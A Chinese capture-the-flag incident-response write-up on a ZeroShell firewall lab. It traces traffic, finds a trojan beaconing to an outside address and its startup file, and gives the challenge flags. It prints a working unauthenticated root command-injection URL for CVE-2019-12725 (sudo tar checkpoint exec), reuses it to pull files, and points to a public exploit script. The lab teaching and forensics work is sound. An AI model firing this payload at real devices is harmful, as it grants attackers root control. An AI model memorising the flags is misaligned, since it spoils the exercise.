当前位置: 首页 > news >正文

应急响应——威胁流量分析-zeroshell详细溯源教程

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

    • 靶场背景
      • 题目列表
      • 部署文档
    • 应急溯源
      • 分析流量包
      • 利用Zeroshell的RCE漏洞
      • 溯源受控机防火墙设备中驻留木马的外联域名或IP地址
      • 找出木马进程执行的本体文件的名称
        • (1)直接搜索近期生成的可执行文件
        • (2)抓取包含 IP 字符串的进程文件
      • 提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥
      • 写出驻留木马的启动项,注意写出启动文件的完整路径
    • 总结

靶场背景

小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位 (防火墙) 进行定位,并确定异常的设备。然后进行深度取证检查(需要获取 root 权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写 exp 或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

文件名:2e9c01da1d333cb8840968689ed3bc57.7z
文件大小:270.1m

  • 下载链接1:https://pan.baidu.com/s/1N58ui-5Ll4Zk7Ys4SUGFvw 提取码:GAME
  • 下载链接2:https://drive.google.com/file/d/19VKjCBaF_X2VvexHGwS__TRhnS39njVT/view
  • 解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce

下载完,文件如图:流量包可以帮助我们进行溯源攻击路径

来源:长城杯&CISCN官网

题目列表

1. 从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}2. 通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}3. 找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com}或 flag{16.122.33.44}4. 请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径5. 请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}6. 请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

部署文档

(1)环境安装:解压环境zeroshell.7z,使用vmware17或以上版本加载zeroshell虚拟机
(2)配置网络:打开虚拟网络编辑器

选择VMnet8 Net模式网卡,选择更改配置:

选择VMnet8 网络,修改子网IP为61.139.2.0,再点击应用和确定

(3)启动虚拟机,等虚拟机启动完成后,浏览器打开http://61.139.2.100 即可访问zeroshell防火墙环境

话不多说,我们直接开始溯源过程;

应急溯源

这里我们打开靶场后,界面如下:

这里尝试进入系统是不可行的(因为关卡就是这样设计的),所以我们可以按N键查看当前机器的IP地址:

从截图可以看到,输入了查看网卡信息的命令,系统展示了当前 Zeroshell 靶机配置的两个主要网络接口:

  • ETH00(物理网卡)
  • IP 地址:61.139.2.100(子网掩码/24255.255.255.0
  • 广播地址:61.139.2.255
  • 分析:这个61.139.2.100通常就是该系统的外网 IP或者模拟的业务公网 IP。在做流量分析(如 Wireshark 分析 PCAP 包)时,如果发现有外部恶意 IP 大量往这个 IP 的特定端口(如 80、443 端口)发送请求,那就是攻击流量。

(如果不了解这种方法)我们也可以用Nmap来进行查找:

nmap-sP61.139.2.0/24

一样可以得到结果:

随后我们打开网址:http://61.139.2.100/,进入到防火墙的页面:

接下来我们需要做什么?

  • 是不是忘了我们还有一个流量包

分析流量包

打开流量包,我们首先可以关注到几个访问频率较高的IP地址:

从题目的“攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令)”:

  • 我们可以猜测攻击者应该是利用率zeroshell系统的RCE漏洞获取了机器权限,从而执行了恶意命令:

所以我们可以搜索一下关键词:systemexecshell_execpassthru

所以过滤命令如下:

http contains"exec"

得到了结果:

我们直接查找最特别的那一条GET请求:

GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'HTTP/1.1

小插曲:refer头解码就是flag,不过我们的重点不在于flag,所以我们继续溯源;

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

通过URL解码,我们可以看到攻击者通过RCE漏洞,执行力ps -ef命令来查看当前机器的进程以及资源利用情况:

不过我们也可以通过URL反推,来判断系统的存在哪一个漏洞:

利用Zeroshell的RCE漏洞

这是ZeroShell(一款开源 Linux 防火墙/路由器系统)的严重远程命令执行漏洞(CVE-2019-12725)

这个 Payload 主要分两步实现攻击:

  • 首先,通过 web 接口的Section=NoAuthREQ参数绕过登录认证,并利用未过滤的x509type参数注入命令。
    其次,注入的命令利用了 Linux 中已知的tar命令提权技巧(结合sudo),强制系统以最高权限(root)直接执行ps -ef(查看系统进程)命令。

  • 简单来说,这是一个免密直接获取系统最高控制权的攻击代码。由于 ZeroShell 项目已在 2021 年停更,运行该系统的设备面临永久性的高危风险。

不过这里我们也有一个问题:因为没有密码,所以我们也无法进入机器进行溯源(所以之恶能充当一次“攻击者”进入机器进行溯源了…

这里找到一个payload:

  • 项目链接:CVE-2019-12725
  • 工具使用:
python CVE-2019-12725.py-uhttp://127.0.0.1:1111 单个url测试 python CVE-2019-12725.py-chttp://127.0.0.1:1111 cmdshell模式

下载后,执行代码:

顺手找一下flag文件:find / -name flag* 2>/dev/null


发现了两个疑似存在的文件夹,分别进行查看:


结果一样;

flag{c6045425-6e6e-41d0-be09-95682a4f65c4}

溯源受控机防火墙设备中驻留木马的外联域名或IP地址

根据题目所说,我们可以合理猜测“攻击者应该是上传了某个恶意程序,从而外连到攻击者IP上“,所以我们可以先对进程进行排查:netstat -ano

可以看到,在众多本地地址里,这个202.115.89.103:8080是如此的显眼;

找出木马进程执行的本体文件的名称

随后尝试寻找该可疑地址的对应进程:netstat -anp | grep "202.115.89.103",但是并没有找到;

所以这里我们换个思路,查找它的PIDnetstat -antp

原本正常情况下这里是会显示对应进程的PID:
(网上WP)

补充知识:在linux每个运行中的进程在/proc下都有一个对应的目录,名称为进程ID。这些目录包含了多个文件和子目录,记录了进程的状态、资源使用等信息

  • cmdline的文件:该文件包含了启动该进程时所使用的命令行参数

  • cwd:一个符号链接,指向进程的当前工作目录。

  • exe:一个符号链接,指向启动进程的可执行文件的绝对路径。

  • environ:包含了进程的环境变量。

  • fd:一个目录,包含了进程打开的所有文件的符号链接。


所以可以使用命令进行排查:

  • ls -l /proc/10651/(查看详细信息)

没有也行,那我就一个个找。。。

(1)直接搜索近期生成的可执行文件

通过漏洞上传的木马,通常会藏在 /tmp、/var/tmp 或 /dev/shm 等可写目录下。
输入以下命令,寻找最近 1-2 天内被修改或执行的文件:

find/tmp /var/tmp /dev/shm-typef-executable
(2)抓取包含 IP 字符串的进程文件

如果木马是个脚本(Python/Shell)或者它的二进制源码里硬编码了攻击者的 IP,我们可以直接在内存或进程参数里搜索这个 IP:

ps-ef|grep-E"202.115|python|perl|sh|nc"

得到了几百条结果,但这里我推荐先排查“隐藏文件”

在经过一番寻找,发现了可疑文件的位置:/tmp/.nginx

随后进入目录查看对应文件.rnd,发现还是个数据文件,打开是乱码;

虽然扔进GPT里进行分析:

  • kerbynet -> /root/kerbynet.cgi/kerbynet

  • 本质:这是一个软链接(快捷方式),指向了/root/kerbynet.cgi/kerbynet

  • 作用:ZeroShell 防火墙后台的核心 Web 程序就叫kerbynet(基于 CGI 编写)。系统将它链接到/tmp/.nginx下,是为了让前端的 Web 服务器(如 Nginx/Apache)能够正常调用并执行后台管理逻辑。也就是你之前利用漏洞时访问的/cgi-bin/kerbynet背后真正对应的程序。

  • .rnd

  • 本质:这是OpenSSL 生成的随机数种子文件(Random Seed File)。

  • 作用:用于设备生成 SSL/TLS 证书(例如 HTTPS 访问、VPN 密钥、X509 证书)时提供安全的随机性。


提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥

我们已经找到了木马文件.nginx,直接cat就是文件的ascii,不好提取;所以我们需要先将其下载下来:

wget-Ofile"http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/tmp/.nginx'%0A"

拖入IDA找密钥,搜关键字没有匹配的,但有几个字符串是比较可疑的。寻找反联ip地址:

这里看了网上的WP,确定这个应该是密钥,flag{11223344qweasdzxc}

写出驻留木马的启动项,注意写出启动文件的完整路径

这里我们可以先看看机器的变量环境:

envexport

这两个均可返回结果:

随后查看具体内容结果:

cat/var/register/system/startup/scripts/nat/File

所以最终结果为:

flag{/var/register/system/startup/scripts/nat/File}

总结

本文针对 ZeroShell 严重命令执行漏洞(CVE-2019-12725)引发的后门驻留事件展开应急响应实务分析。通过对防火墙受控机网络连接、异常进程以及持久化配置的系统性排查,详细演示了如何通过行为关联与逆向手段精准溯源外联木马本体,并定位其在 Linux 系统中的底层启动项。文章侧重于实战命令的运用与防御转化,为读者提供规范化的网络安全事件闭环处置指南。

http://www.cnnetsun.cn/news/2606055.html

相关文章:

  • 华硕笔记本性能控制新选择:GHelper轻量化解决方案深度解析
  • 深耕建筑施工质量管控,解读GB/T 50430行业核心规范
  • 为什么你的ChatGPT写不出《雨巷》?——基于2372首训练诗集的语义张力分析,揭示诗歌生成中「陌生化」失效的3个隐藏断点
  • 遇到大模型api调用失败时如何利用taotoken控制台进行问题排查
  • 西安本地企业 AI 搜索获客落地指南:基于 GEO + LBS 的区域流量优化方案(2026 技术版)
  • 别再为稀疏数据发愁!用GE-GAN+DeepWalk搞定城市路网交通状态补全(附Python代码)
  • uKit Explore无法查询连接的外设问题
  • 别再乱改grub了!用tuned优雅隔离Linux CPU核心(以CentOS 7为例)
  • 【技术应用】邻近连接技术PLA应用实例介绍—第Ⅱ期:蛋白-RNA
  • 别再死记硬背模型了!一张图带你分清P中位、P中心和覆盖问题,附Python代码对比
  • 基于子域分解的低复杂度双纠错RS解码器硬件架构设计
  • AI Agent灰度发布策略:A_B测试、流量切分与回滚机制实战
  • Prompt 不该一句句手打:用 SaySo 把需求直接说给 AI 听
  • 【力扣100题】64.岛屿数量
  • 在持续集成流程中集成大模型API调用并确保其稳定性
  • 控糖别瞎吃粗粮!中医公认它是粗粮之王,升糖慢、还养脾胃
  • Vibe Coding实战:冗长提示词并非核心,工程规则搭建才决定开发上限
  • 如何快速掌握C++游戏开发:基于Cocos2d-x的植物大战僵尸完整实战指南
  • Qwen-Edit-2509多角度图像生成:用自然语言指令重塑视觉创作
  • 云上FPGA虚拟化平台:流处理硬件加速架构与实战解析
  • GIS工程应用记录(学生思维与实践)
  • FPGA实现ANU轻量级密码:4位到32位数据路径架构的权衡与实践
  • 大模型时代全景图:从 GPT 到 Claude/DeepSeek,一文看懂 LLM 演进史
  • 从基础到优化:探索杨辉三角的9种编程实现与性能对比
  • 从固话到VoIP:G.711 A律编码为何仍是实时语音的‘压舱石’?
  • 编译器理论
  • GitHub下载太慢怎么办?3分钟让下载速度提升10倍的秘诀
  • 为什么发不了文
  • 基于SpringBoot的校园勤工助学管理系统设计与实现
  • Codex隐藏终极杀器/goal:一个指令让AI自主工作72小时,99%的人还不会用